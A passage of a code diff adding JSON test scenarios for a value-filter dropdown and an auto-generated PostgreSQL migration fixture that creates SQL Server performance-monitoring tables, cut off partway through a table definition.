+      "rows": ["sa", "app", "APP", "job_svc", "", null],
+      "steps": [
+        { "action": "open", "expect": { "listBlank": true, "listValues": ["app", "job_svc", "sa"], "listCount": 4, "note": null, "state": { "mode": "None", "values": [], "blank": false }, "shown": ["sa", "app", "APP", "job_svc", "", null] } }
+      ]
+    },
+    {
+      "id": 2,
+      "name": "Unticking a value hides it, and a value that first shows up after a refresh still shows",
+      "rows": ["sa", "app", "APP", "job_svc", "", null],
+      "steps": [
+        { "action": "untick", "values": ["job_svc"], "blank": false, "expect": { "state": { "mode": "Hide", "values": ["job_svc"], "blank": false }, "shown": ["sa", "app", "APP", "", null] } },
+        { "action": "refresh", "addRows": ["newuser"], "expect": { "listValues": ["app", "job_svc", "newuser", "sa"], "state": { "mode": "Hide", "values": ["job_svc"], "blank": false }, "shown": ["sa", "app", "APP", "", null, "newuser"] } }
+      ]
+    },
+    {
+      "id": 3,
+      "name": "Ticking only one value shows only it, and a new value after a refresh does not show",
+      "rows": ["sa", "app", "APP", "job_svc", "", null],
+      "steps": [
+        { "action": "tickOnly", "values": ["sa"], "blank": false, "expect": { "state": { "mode": "ShowOnly", "values": ["sa"], "blank": false }, "shown": ["sa"] } },
+        { "action": "refresh", "addRows": ["newuser"], "expect": { "state": { "mode": "ShowOnly", "values": ["sa"], "blank": false }, "shown": ["sa"] } }
+      ]
+    },
+    {
+      "id": 4,
+      "name": "Unticking only (Blanks) hides the empty and null cells",
+      "rows": ["sa", "app", "APP", "job_svc", "", null],
+      "steps": [
+        { "action": "untick", "values": [], "blank": true, "expect": { "state": { "mode": "Hide", "values": [], "blank": true }, "shown": ["sa", "app", "APP", "job_svc"] } }
+      ]
+    },
+    {
+      "id": 5,
+      "name": "The value part and the text match both have to pass",
+      "rows": ["sa", "app", "APP", "job_svc", "", null],
+      "steps": [
+        { "action": "tickOnly", "values": ["app"], "blank": false, "expect": { "state": { "mode": "ShowOnly", "values": ["app"], "blank": false }, "shown": ["app", "APP"] } },
+        { "action": "textMatch", "operator": "Contains", "text": "AP", "expect": { "shown": ["app", "APP"] } },
+        { "action": "textMatch", "operator": "Contains", "text": "zzz", "expect": { "shown": [] } }
+      ]
+    },
+    {
+      "id": 6,
+      "name": "A text match narrows a ticked list",
+      "rows": ["sa", "app", "APP", "job_svc", "", null],
+      "steps": [
+        { "action": "tickOnly", "values": ["app", "sa"], "blank": false, "expect": { "state": { "mode": "ShowOnly", "values": ["app", "sa"], "blank": false }, "shown": ["sa", "app", "APP"] } },
+        { "action": "textMatch", "operator": "Contains", "text": "AP", "expect": { "shown": ["app", "APP"] } }
+      ]
+    },
+    {
+      "id": 7,
+      "name": "A real value spelled (Blanks) is a normal value, apart from the Blanks entry",
+      "rows": ["(Blanks)", "x", "", null],
+      "steps": [
+        { "action": "open", "expect": { "listBlank": true, "listValues": ["(Blanks)", "x"], "listCount": 3, "state": { "mode": "None", "values": [], "blank": false }, "shown": ["(Blanks)", "x", "", null] } },
+        { "action": "untick", "values": ["(Blanks)"], "blank": false, "expect": { "state": { "mode": "Hide", "values": ["(Blanks)"], "blank": false }, "shown": ["x", "", null] } },
+        { "action": "tick", "values": ["(Blanks)"], "blank": false },
+        { "action": "untick", "values": [], "blank": true, "expect": { "state": { "mode": "Hide", "values": [], "blank": true }, "shown": ["(Blanks)", "x"] } }
+      ]
+    },
+    {
+      "id": 8,
+      "name": "1,500 distinct values: 1,000 listed with a note, and the search finds the rest",
+      "rows": { "generate": { "prefix": "x", "count": 1500 } },
+      "steps": [
+        { "action": "open", "expect": { "listBlank": false, "listCount": 1000, "note": "Showing 1,000 of 1,500 values. Search to find the rest.", "state": { "mode": "None", "values": [], "blank": false }, "shownCount": 1500 } },
+        { "action": "search", "text": "x99", "expect": { "listBlank": false, "listValues": ["x99", "x990", "x991", "x992", "x993", "x994", "x995", "x996", "x997", "x998", "x999"], "listCount": 11, "note": null } },
+        { "action": "selectAll", "ticked": false, "expect": { "state": { "mode": "Hide", "values": ["x99", "x990", "x991", "x992", "x993", "x994", "x995", "x996", "x997", "x998", "x999"], "blank": false }, "shownCount": 1489 } },
+        { "action": "search", "text": "", "expect": { "listCount": 1000, "note": "Showing 1,000 of 1,500 values. Search to find the rest." } },
+        { "action": "search", "text": "x99", "expect": { "listCount": 11 } },
+        { "action": "selectAll", "ticked": true, "expect": { "state": { "mode": "None", "values": [], "blank": false }, "shownCount": 1500 } }
+      ]
+    },
+    {
+      "id": 9,
+      "name": "Select All unticked with no search shows no rows and says so",
+      "rows": ["sa", "app", ""],
+      "steps": [
+        { "action": "selectAll", "ticked": false, "expect": { "note": "No values are ticked, so no rows show.", "state": { "mode": "ShowOnly", "values": [], "blank": false }, "shown": [] } },
+        { "action": "selectAll", "ticked": true, "expect": { "note": null, "state": { "mode": "None", "values": [], "blank": false }, "shown": ["sa", "app", ""] } }
+      ]
+    },
+    {
+      "id": 10,
+      "name": "A value hidden by the filter but gone from the rows is kept in the state, not listed",
+      "rows": ["sa", "app", "job_svc"],
+      "steps": [
+        { "action": "untick", "values": ["job_svc"], "blank": false, "expect": { "state": { "mode": "Hide", "values": ["job_svc"], "blank": false }, "shown": ["sa", "app"] } },
+        { "action": "refresh", "rows": ["sa", "app"], "expect": { "listValues": ["app", "sa"], "state": { "mode": "Hide", "values": ["job_svc"], "blank": false }, "shown": ["sa", "app"] } },
+                { "action": "refresh", "rows": ["sa", "job_svc"], "expect": { "state": { "mode": "Hide", "values": ["job_svc"], "blank": false }, "shown": ["sa"] } }
+      ]
+    },
+    {
+      "id": 11,
+      "name": "The mode is chosen from the listed ticks only: values gone from the rows never tip it, and are kept only on the same side",
+      "rows": ["a", "b", "c", "x", "y"],
+      "steps": [
+        { "action": "untick", "values": ["x", "y"], "blank": false, "expect": { "state": { "mode": "Hide", "values": ["x", "y"], "blank": false }, "shown": ["a", "b", "c"] } },
+        { "action": "refresh", "rows": ["a", "b", "c"], "expect": { "listValues": ["a", "b", "c"], "state": { "mode": "Hide", "values": ["x", "y"], "blank": false }, "shown": ["a", "b", "c"] } },
+        { "action": "untick", "values": ["c"], "blank": false, "expect": { "state": { "mode": "Hide", "values": ["c", "x", "y"], "blank": false }, "shown": ["a", "b"] } },
+        { "action": "refresh", "addRows": ["d"], "expect": { "shown": ["a", "b", "d"] } },
+        { "action": "tick", "values": ["c"], "blank": false, "expect": { "state": { "mode": "None", "values": [], "blank": false }, "shown": ["a", "b", "c", "d"] } }
+      ]
+    },
+    {
+      "id": 12,
+      "name": "Values compare like .NET OrdinalIgnoreCase: one uppercase per character, so sharp s is not 'ss'",
+      "rows": ["Straße", "STRASSE", "strasse"],
+      "steps": [
+        { "action": "open", "expect": { "listValues": ["STRASSE", "Straße"], "listCount": 2 } },
+        { "action": "search", "text": "ss", "expect": { "listValues": ["STRASSE"], "listCount": 1 } },
+        { "action": "search", "text": "", "expect": { "listCount": 2 } },
+        { "action": "untick", "values": ["Straße"], "blank": false, "expect": { "state": { "mode": "ShowOnly", "values": ["STRASSE"], "blank": false }, "shown": ["STRASSE", "strasse"] } }
+      ]
+    },
+    {
+      "id": 13,
+      "name": "The dotless i and the long s stay themselves: they do not fold into 'I' and 'S'",
+      "rows": ["\u0131", "I", "\u017f", "S"],
+      "steps": [
+        { "action": "open", "expect": { "listValues": ["I", "S", "\u0131", "\u017f"], "listCount": 4 } }
+      ]
+    }
+  ]
+}
diff --git a/Darling/Darling.Tests/Fixtures/migration-ladder-v3.9.0.sql b/Darling/Darling.Tests/Fixtures/migration-ladder-v3.9.0.sql
new file mode 100644
index 0000000000..c8da0d7d4f
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/migration-ladder-v3.9.0.sql
@@ -0,0 +1,5549 @@
+-- Migration ladder as RESOLVED by the release this fixture is named for — every rung's
+-- SQL frozen as that era's code (including its generators) emitted it, plus the same
+-- version-table DDL and stamps MigrateLockedAsync writes. Generated by tools/generate-
+-- ladder-fixture; regenerate at each release cut from the release tag. DO NOT HAND-EDIT.
+-- ===BATCH=== bootstrap
+SET search_path = collect, config, public;
+CREATE TABLE IF NOT EXISTS darling_schema_version (
+    version integer NOT NULL PRIMARY KEY,
+    name text NOT NULL,
+    applied_at timestamp NOT NULL
+);
+-- ===BATCH=== V1 collector-tables
+/* Darling collector tables — generated from PerformanceMonitor.Collectors definitions.
+   Column names and types mirror Lite's DuckDB schema (see PgSchemaGenerator remarks). */
+
+CREATE TABLE IF NOT EXISTS wait_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    wait_type text,
+    waiting_tasks_count bigint,
+    wait_time_ms bigint,
+    signal_wait_time_ms bigint,
+    delta_waiting_tasks bigint,
+    delta_wait_time_ms bigint,
+    delta_signal_wait_time_ms bigint,
+    sample_interval_seconds integer
+);
+CREATE INDEX IF NOT EXISTS idx_wait_stats_time ON wait_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS latch_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    latch_class text,
+    waiting_requests_count bigint,
+    wait_time_ms bigint,
+    max_wait_time_ms bigint,
+    delta_waiting_requests_count bigint,
+    delta_wait_time_ms bigint,
+    delta_max_wait_time_ms bigint,
+    sample_interval_seconds integer
+);
+CREATE INDEX IF NOT EXISTS idx_latch_stats_time ON latch_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS spinlock_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    spinlock_name text,
+    collisions bigint,
+    spins bigint,
+    spins_per_collision double precision,
+    sleep_time bigint,
+    backoffs bigint,
+    delta_collisions bigint,
+    delta_spins bigint,
+    delta_sleep_time bigint,
+    delta_backoffs bigint,
+    sample_interval_seconds integer
+);
+CREATE INDEX IF NOT EXISTS idx_spinlock_stats_time ON spinlock_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS cpu_scheduler_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    max_workers_count integer,
+    scheduler_count integer,
+    cpu_count integer,
+    total_runnable_tasks_count integer,
+    total_work_queue_count bigint,
+    total_current_workers_count integer,
+    avg_runnable_tasks_count numeric(38,2),
+    total_active_request_count integer,
+    total_queued_request_count integer,
+    total_blocked_task_count integer,
+    total_active_parallel_thread_count bigint,
+    runnable_request_count integer,
+    total_request_count integer,
+    runnable_percent numeric(38,2),
+    worker_thread_exhaustion_warning boolean,
+    runnable_tasks_warning boolean,
+    blocked_tasks_warning boolean,
+    queued_requests_warning boolean,
+    total_physical_memory_kb bigint,
+    available_physical_memory_kb bigint,
+    system_memory_state_desc text,
+    physical_memory_pressure_warning boolean,
+    total_node_count integer,
+    nodes_online_count integer,
+    offline_cpu_count integer,
+    offline_cpu_warning boolean
+);
+CREATE INDEX IF NOT EXISTS idx_cpu_scheduler_stats_time ON cpu_scheduler_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS plan_cache_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    cacheobjtype text,
+    objtype text,
+    total_plans integer,
+    total_size_mb integer,
+    single_use_plans integer,
+    single_use_size_mb integer,
+    multi_use_plans integer,
+    multi_use_size_mb integer,
+    avg_use_count numeric(38,2),
+    avg_size_kb integer,
+    oldest_plan_create_time timestamp
+);
+CREATE INDEX IF NOT EXISTS idx_plan_cache_stats_time ON plan_cache_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS tempdb_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    user_object_reserved_mb numeric(18,2),
+    internal_object_reserved_mb numeric(18,2),
+    version_store_reserved_mb numeric(18,2),
+    total_reserved_mb numeric(18,2),
+    unallocated_mb numeric(18,2),
+    total_sessions_using_tempdb bigint,
+    top_session_id integer,
+    top_session_tempdb_mb numeric(18,2),
+    max_size_mb numeric(18,2)
+);
+CREATE INDEX IF NOT EXISTS idx_tempdb_stats_time ON tempdb_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS memory_grant_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    resource_semaphore_id smallint,
+    pool_id integer,
+    target_memory_mb numeric(18,2),
+    max_target_memory_mb numeric(18,2),
+    total_memory_mb numeric(18,2),
+    available_memory_mb numeric(18,2),
+    granted_memory_mb numeric(18,2),
+    used_memory_mb numeric(18,2),
+    grantee_count integer,
+    waiter_count integer,
+    timeout_error_count bigint,
+    forced_grant_count bigint,
+    timeout_error_count_delta bigint,
+    forced_grant_count_delta bigint,
+    sample_interval_seconds integer
+);
+CREATE INDEX IF NOT EXISTS idx_memory_grant_stats_time ON memory_grant_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS cpu_utilization_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    sample_time timestamp,
+    sqlserver_cpu_utilization integer,
+    other_process_cpu_utilization integer,
+    sample_time_utc timestamp
+);
+CREATE INDEX IF NOT EXISTS idx_cpu_utilization_stats_time ON cpu_utilization_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS memory_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    total_physical_memory_mb numeric(18,2),
+    available_physical_memory_mb numeric(18,2),
+    total_page_file_mb numeric(18,2),
+    available_page_file_mb numeric(18,2),
+    system_memory_state text,
+    sql_memory_model text,
+    target_server_memory_mb numeric(18,2),
+    total_server_memory_mb numeric(18,2),
+    buffer_pool_mb numeric(18,2),
+    plan_cache_mb numeric(18,2),
+    max_workers_count integer,
+    current_workers_count integer
+);
+CREATE INDEX IF NOT EXISTS idx_memory_stats_time ON memory_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS memory_clerks (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    clerk_type text,
+    memory_mb numeric(18,2)
+);
+CREATE INDEX IF NOT EXISTS idx_memory_clerks_time ON memory_clerks(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS memory_pressure_events (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    sample_time timestamp,
+    memory_notification text,
+    memory_indicators_process integer,
+    memory_indicators_system integer
+);
+CREATE INDEX IF NOT EXISTS idx_memory_pressure_events_time ON memory_pressure_events(server_id, sample_time);
+
+CREATE TABLE IF NOT EXISTS file_io_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    file_name text,
+    file_type text,
+    physical_name text,
+    size_mb numeric(18,2),
+    num_of_reads bigint,
+    num_of_writes bigint,
+    read_bytes bigint,
+    write_bytes bigint,
+    io_stall_read_ms bigint,
+    io_stall_write_ms bigint,
+    io_stall_queued_read_ms bigint,
+    io_stall_queued_write_ms bigint,
+    delta_reads bigint,
+    delta_writes bigint,
+    delta_read_bytes bigint,
+    delta_write_bytes bigint,
+    delta_stall_read_ms bigint,
+    delta_stall_write_ms bigint,
+    delta_stall_queued_read_ms bigint,
+    delta_stall_queued_write_ms bigint,
+    sample_interval_seconds integer
+);
+CREATE INDEX IF NOT EXISTS idx_file_io_stats_time ON file_io_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS server_properties (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    edition text,
+    product_version text,
+    product_level text,
+    product_update_level text,
+    engine_edition integer,
+    cpu_count integer,
+    hyperthread_ratio integer,
+    physical_memory_mb bigint,
+    socket_count integer,
+    cores_per_socket integer,
+    is_hadr_enabled boolean,
+    is_clustered boolean,
+    enterprise_features text,
+    service_objective text,
+    vcore_count integer,
+    lock_pages_in_memory boolean,
+    instant_file_initialization_enabled boolean,
+    memory_dump_count integer,
+    sqlserver_start_time timestamp,
+    host_os_version text,
+    ag_replica_role text,
+    utc_offset_minutes integer,
+    time_zone_id text
+);
+CREATE INDEX IF NOT EXISTS idx_server_properties_time ON server_properties(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS server_config (
+    config_id bigint NOT NULL,
+    capture_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    configuration_name text,
+    value_configured bigint,
+    value_in_use bigint,
+    is_dynamic boolean,
+    is_advanced boolean
+);
+
+CREATE TABLE IF NOT EXISTS database_config (
+    config_id bigint NOT NULL,
+    capture_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    state_desc text,
+    compatibility_level integer,
+    collation_name text,
+    recovery_model text,
+    is_read_only boolean,
+    is_auto_close_on boolean,
+    is_auto_shrink_on boolean,
+    is_auto_create_stats_on boolean,
+    is_auto_update_stats_on boolean,
+    is_auto_update_stats_async_on boolean,
+    is_read_committed_snapshot_on boolean,
+    snapshot_isolation_state text,
+    is_parameterization_forced boolean,
+    is_query_store_on boolean,
+    is_encrypted boolean,
+    is_trustworthy_on boolean,
+    is_db_chaining_on boolean,
+    is_broker_enabled boolean,
+    is_cdc_enabled boolean,
+    is_mixed_page_allocation_on boolean,
+    log_reuse_wait_desc text,
+    page_verify_option text,
+    target_recovery_time_seconds integer,
+    delayed_durability text,
+    is_accelerated_database_recovery_on boolean,
+    is_memory_optimized_enabled boolean,
+    is_optimized_locking_on boolean
+);
+
+CREATE TABLE IF NOT EXISTS database_states (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    database_id integer,
+    state_desc text,
+    is_in_standby boolean
+);
+CREATE INDEX IF NOT EXISTS idx_database_states_time ON database_states(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS trace_flags (
+    config_id bigint NOT NULL,
+    capture_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    trace_flag integer,
+    status boolean,
+    is_global boolean,
+    is_session boolean
+);
+CREATE INDEX IF NOT EXISTS idx_trace_flags_time ON trace_flags(server_id, capture_time);
+
+CREATE TABLE IF NOT EXISTS database_scoped_config (
+    config_id bigint NOT NULL,
+    capture_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    configuration_name text,
+    value text,
+    value_for_secondary text
+);
+CREATE INDEX IF NOT EXISTS idx_database_scoped_config_time ON database_scoped_config(server_id, capture_time);
+
+CREATE TABLE IF NOT EXISTS query_store_health (
+    config_id bigint NOT NULL,
+    capture_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    actual_state text,
+    desired_state text,
+    readonly_reason integer,
+    current_storage_size_mb bigint,
+    max_storage_size_mb bigint,
+    size_based_cleanup_mode text,
+    stale_query_threshold_days bigint,
+    max_plans_per_query bigint,
+    interval_length_minutes bigint,
+    query_capture_mode text,
+    wait_stats_capture_mode text
+);
+CREATE INDEX IF NOT EXISTS idx_query_store_health_time ON query_store_health(server_id, capture_time);
+
+CREATE TABLE IF NOT EXISTS session_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    program_name text,
+    connection_count bigint,
+    running_count integer,
+    sleeping_count integer,
+    dormant_count integer,
+    total_cpu_time_ms bigint,
+    total_reads bigint,
+    total_writes bigint,
+    total_logical_reads bigint
+);
+CREATE INDEX IF NOT EXISTS idx_session_stats_time ON session_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS session_summary_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    total_sessions integer,
+    running_sessions integer,
+    sleeping_sessions integer,
+    background_sessions integer,
+    dormant_sessions integer,
+    idle_sessions_over_30min integer,
+    sessions_waiting_for_memory integer,
+    databases_with_connections integer,
+    top_application_name text,
+    top_application_connections integer,
+    top_host_name text,
+    top_host_connections integer
+);
+CREATE INDEX IF NOT EXISTS idx_session_summary_stats_time ON session_summary_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS waiting_tasks (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    session_id integer,
+    wait_type text,
+    wait_duration_ms bigint,
+    blocking_session_id integer,
+    resource_description text,
+    database_name text
+);
+CREATE INDEX IF NOT EXISTS idx_waiting_tasks_time ON waiting_tasks(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS procedure_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    schema_name text,
+    object_name text,
+    object_type text,
+    cached_time timestamp,
+    last_execution_time timestamp,
+    execution_count bigint,
+    total_worker_time bigint,
+    total_elapsed_time bigint,
+    total_logical_reads bigint,
+    total_physical_reads bigint,
+    total_logical_writes bigint,
+    min_worker_time bigint,
+    max_worker_time bigint,
+    min_elapsed_time bigint,
+    max_elapsed_time bigint,
+    min_logical_reads bigint,
+    max_logical_reads bigint,
+    min_physical_reads bigint,
+    max_physical_reads bigint,
+    min_logical_writes bigint,
+    max_logical_writes bigint,
+    total_spills bigint,
+    min_spills bigint,
+    max_spills bigint,
+    sql_handle text,
+    plan_handle text,
+    delta_execution_count bigint,
+    delta_worker_time bigint,
+    delta_elapsed_time bigint,
+    delta_logical_reads bigint,
+    delta_logical_writes bigint,
+    delta_physical_reads bigint,
+    delta_spills bigint,
+    query_plan_xml text,
+    query_plan_xml_bytes bigint,
+    sample_interval_seconds integer
+);
+CREATE INDEX IF NOT EXISTS idx_procedure_stats_time ON procedure_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS running_jobs (
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    job_name text,
+    job_id text,
+    job_enabled boolean,
+    start_time timestamp,
+    current_duration_seconds bigint,
+    avg_duration_seconds bigint,
+    p95_duration_seconds bigint,
+    successful_run_count bigint,
+    is_running_long boolean,
+    percent_of_average numeric(10,1)
+);
+CREATE INDEX IF NOT EXISTS idx_running_jobs_time ON running_jobs(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS perfmon_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    object_name text,
+    counter_name text,
+    instance_name text,
+    cntr_value bigint,
+    delta_cntr_value bigint,
+    sample_interval_seconds integer,
+    cntr_type integer
+);
+CREATE INDEX IF NOT EXISTS idx_perfmon_stats_time ON perfmon_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS dmv_blocking_snapshots (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    monitor_loop integer,
+    event_time timestamp,
+    database_name text,
+    blocked_spid integer,
+    blocked_ecid integer,
+    blocked_last_tran_started timestamp,
+    blocking_spid integer,
+    blocking_ecid integer,
+    blocking_last_tran_started timestamp,
+    wait_time_ms bigint,
+    lock_mode text,
+    blocking_status text,
+    contentious_object text,
+    blocked_sql_text text,
+    blocking_sql_text text,
+    blocked_login_name text,
+    blocked_host_name text,
+    blocked_client_app text,
+    blocking_login_name text,
+    blocking_host_name text,
+    blocking_client_app text
+);
+CREATE INDEX IF NOT EXISTS idx_dmv_blocking_snapshots_time ON dmv_blocking_snapshots(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS database_size_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    database_id integer,
+    file_id integer,
+    file_type_desc text,
+    file_name text,
+    physical_name text,
+    total_size_mb numeric(19,2),
+    used_size_mb numeric(19,2),
+    auto_growth_mb numeric(19,2),
+    max_size_mb numeric(19,2),
+    recovery_model_desc text,
+    compatibility_level integer,
+    state_desc text,
+    volume_mount_point text,
+    volume_total_mb numeric(19,2),
+    volume_free_mb numeric(19,2),
+    is_percent_growth boolean,
+    growth_pct integer,
+    vlf_count integer
+);
+CREATE INDEX IF NOT EXISTS idx_database_size_stats_time ON database_size_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS index_object_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    sqlserver_start_time timestamp,
+    database_name text,
+    database_id integer,
+    schema_name text,
+    object_id integer,
+    table_name text,
+    index_id integer,
+    index_name text,
+    index_type_desc text,
+    is_unique boolean,
+    is_primary_key boolean,
+    is_filtered boolean,
+    partition_count integer,
+    reserved_mb numeric(19,2),
+    used_mb numeric(19,2),
+    in_row_data_mb numeric(19,2),
+    lob_data_mb numeric(19,2),
+    row_overflow_mb numeric(19,2),
+    total_rows bigint,
+    user_seeks bigint,
+    user_scans bigint,
+    user_lookups bigint,
+    user_updates bigint,
+    last_user_seek timestamp,
+    last_user_scan timestamp,
+    last_user_lookup timestamp,
+    last_user_update timestamp,
+    leaf_insert_count bigint,
+    leaf_update_count bigint,
+    leaf_delete_count bigint,
+    range_scan_count bigint,
+    singleton_lookup_count bigint,
+    row_lock_count bigint,
+    row_lock_wait_count bigint,
+    row_lock_wait_in_ms bigint,
+    page_lock_count bigint,
+    page_lock_wait_count bigint,
+    page_lock_wait_in_ms bigint,
+    index_lock_promotion_attempt_count bigint,
+    index_lock_promotion_count bigint,
+    page_latch_wait_count bigint,
+    page_latch_wait_in_ms bigint,
+    page_io_latch_wait_count bigint,
+    page_io_latch_wait_in_ms bigint,
+    key_columns text,
+    included_columns text,
+    filter_definition text,
+    is_unique_constraint boolean,
+    is_foreign_key boolean,
+    is_foreign_key_reference boolean,
+    is_disabled boolean,
+    data_compression_desc text,
+    optimize_for_sequential_key boolean,
+    fill_factor smallint,
+    is_padded boolean,
+    allow_page_locks boolean,
+    allow_row_locks boolean,
+    is_indexed_view boolean
+);
+CREATE INDEX IF NOT EXISTS idx_index_object_stats_object ON index_object_stats(server_id, database_name, object_id, index_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS query_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    query_hash text,
+    query_plan_hash text,
+    creation_time timestamp,
+    last_execution_time timestamp,
+    execution_count bigint,
+    total_worker_time bigint,
+    total_elapsed_time bigint,
+    total_logical_reads bigint,
+    total_logical_writes bigint,
+    total_physical_reads bigint,
+    total_clr_time bigint,
+    total_rows bigint,
+    total_spills bigint,
+    min_worker_time bigint,
+    max_worker_time bigint,
+    min_elapsed_time bigint,
+    max_elapsed_time bigint,
+    min_physical_reads bigint,
+    max_physical_reads bigint,
+    min_rows bigint,
+    max_rows bigint,
+    min_dop bigint,
+    max_dop bigint,
+    min_grant_kb bigint,
+    max_grant_kb bigint,
+    min_used_grant_kb bigint,
+    max_used_grant_kb bigint,
+    min_ideal_grant_kb bigint,
+    max_ideal_grant_kb bigint,
+    min_reserved_threads bigint,
+    max_reserved_threads bigint,
+    min_used_threads bigint,
+    max_used_threads bigint,
+    min_spills bigint,
+    max_spills bigint,
+    query_text text,
+    query_plan_xml text,
+    sql_handle text,
+    plan_handle text,
+    delta_execution_count bigint,
+    delta_worker_time bigint,
+    delta_elapsed_time bigint,
+    delta_logical_reads bigint,
+    delta_logical_writes bigint,
+    delta_physical_reads bigint,
+    delta_rows bigint,
+    delta_spills bigint,
+    plan_generation_num bigint,
+    sample_interval_seconds integer,
+    host_object_name text,
+    query_plan_xml_bytes bigint,
+    statement_start_offset integer,
+    statement_end_offset integer
+);
+CREATE INDEX IF NOT EXISTS idx_query_stats_time ON query_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS query_snapshots (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    session_id integer,
+    database_name text,
+    elapsed_time_formatted text,
+    query_text text,
+    query_plan text,
+    live_query_plan text,
+    status text,
+    blocking_session_id integer,
+    wait_type text,
+    wait_time_ms bigint,
+    wait_resource text,
+    cpu_time_ms bigint,
+    total_elapsed_time_ms bigint,
+    reads bigint,
+    writes bigint,
+    logical_reads bigint,
+    granted_query_memory_gb numeric(18,2),
+    transaction_isolation_level text,
+    dop integer,
+    parallel_worker_count integer,
+    login_name text,
+    host_name text,
+    program_name text,
+    open_transaction_count integer,
+    percent_complete numeric(5,2),
+    is_cdc_capture boolean,
+    query_hash text,
+    requested_memory_mb double precision,
+    used_memory_mb double precision,
+    max_used_memory_mb double precision,
+    tempdb_current_mb double precision,
+    tempdb_allocations_mb double precision,
+    tran_log_used_mb double precision,
+    tran_start_time timestamp,
+    request_id integer
+);
+CREATE INDEX IF NOT EXISTS idx_query_snapshots_time ON query_snapshots(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS query_store_stats (
+    collection_id bigint NOT NULL,
